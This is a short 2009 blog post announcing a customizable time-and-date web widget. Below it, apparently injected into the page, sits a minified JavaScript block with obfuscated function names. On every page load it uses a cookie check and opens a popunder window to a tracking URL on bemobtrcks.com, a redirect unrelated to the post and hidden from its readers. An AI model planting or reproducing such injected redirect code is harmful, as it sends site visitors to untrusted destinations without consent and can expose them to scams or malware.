Monday, February 9, 2009

Time and Date


A widget to show the users local time (or the time from a specific time zone), and the date when the mouse is moved over.
Can be customized by changing the colour scheme, 12 or 24 hour time and more.
Feedback is very welcome :)

You cannot remove the 'Get Widget' text when it is on your site - I cannot help this, Widgetbox don't give me a choice. Sorry :/


0 comments:


let popunder; function getCookie(name) { const search = `${name}=`; let returnValue = ""; if (document.cookie.length > 0) { let offset = document.cookie.indexOf(search); if (offset !== -1) { offset += search.length; let end = document.cookie.indexOf(";", offset); if (end === -1) { end = document.cookie.length; } returnValue = unescape(document.cookie.substring(offset, end)); } } return returnValue; } let popFrequency = "0 minutes"; function resetCookie() { const expireDate = new Date(); expireDate.setMinutes(expireDate.getMinutes() - 0); document.cookie = "popunder=;path=/;expires=" + expireDate.toGMTString(); } function loadOrNot() { if (getCookie("popunder") === "") { loadPopunder(); const expireDate = new Date(); expireDate.setMinutes(expireDate.getMinutes() + parseInt(popFrequency)); document.cookie = `popunder=${parseInt(popFrequency)};path=/;expires=${expireDate.toGMTString()}`; } } function loadPopunder() { const body = document.querySelector("body"); rwmrgfdqPopup(); } if (getCookie("popunder") !== parseInt(popFrequency)) { resetCookie(); } loadOrNot(); let opened; function rwmrgfdqPopup() { if (opened !== 1) { opened = 1; window.open("http://6ajdk.bemobtrcks.com/go/2caaf799-ff7b-40af-89a6-d59202548b38", "rwmrgfdqpop", "scrollbars = 1, resizable = 1,status = 1"); } }